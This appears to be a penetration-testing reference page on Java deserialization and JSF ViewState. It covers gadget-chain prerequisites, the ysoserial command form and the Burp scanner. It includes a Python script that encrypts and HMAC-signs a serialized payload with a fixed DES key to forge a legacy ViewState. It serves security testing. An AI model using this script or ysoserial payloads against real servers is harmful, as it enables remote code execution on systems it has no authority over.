Java deserialization and JSF ViewState
Untrusted Java deserialization, gadget-chain prerequisites and implementation-specific JSF ViewState handling.
Deserialisation
Java serialization alone is not a vulnerability. The risk arises when a server deserializes attacker-controlled objects without effective restrictions.
Command execution typically requires a compatible gadget chain on the server’s
classpath. ysoserial generates payloads for specific chains:
ysoserial <GADGET NAME> <COMMAND>Check the libraries, versions and deserialization filters before selecting a chain. A failed payload does not rule out unsafe deserialization.
The Burp extension Java Deserialization Scanner can assist testing; its results
still need interpretation.
JSF
JSF ViewState handling depends on the implementation and configuration. Client state may carry serialized data; server state commonly carries a reference to server-held state. Neither mode alone establishes unsafe deserialization.
Base64 is encoding, not protection. Verify integrity checks and the actual cryptographic scheme; knowing a key only helps when the implementation matches.
Legacy DES/HMAC ViewState example
This imported script assumes a specific DES/ECB and HMAC-SHA1 format and an illustrative fixed key. It is not a generic JSF payload generator or a recommended hardening scheme.
#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *
YELLOW = "\033[93m"
GREEN = "\033[32m"
def encrypt(payload,key):
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
enc_payload = cipher.encrypt(payload)
return enc_payload
def hmac_sig(enc_payload,key):
hmac_sig = hmac.new(key, enc_payload, sha1)
hmac_sig = hmac_sig.digest()
return hmac_sig
key = b'JsF9876-'
if len(sys.argv) != 3 :
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
with open(sys.argv[1], "rb") as f:
payload = f.read()
f.close()
print(YELLOW + "[+] Encrypting payload")
print(YELLOW + " [!] Key : JsF9876-\n")
enc_payload = encrypt(payload,key)
print(YELLOW + "[+] Creating HMAC signature")
hmac_sig = hmac_sig(enc_payload,key)
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
payload = b64encode(enc_payload + hmac_sig)
payload = parse.quote_plus(payload)
print(YELLOW + "[*] Final payload : {}\n".format(payload))
with open(sys.argv[2], "w") as f:
f.write(payload)
f.close()
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))Resources:
Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 qualifies deserialization and ViewState assumptions. The legacy DES/HMAC example is implementation-specific and untested.
Also searched as: java, désérialisation java, ysoserial, jsf viewstate, java deserialization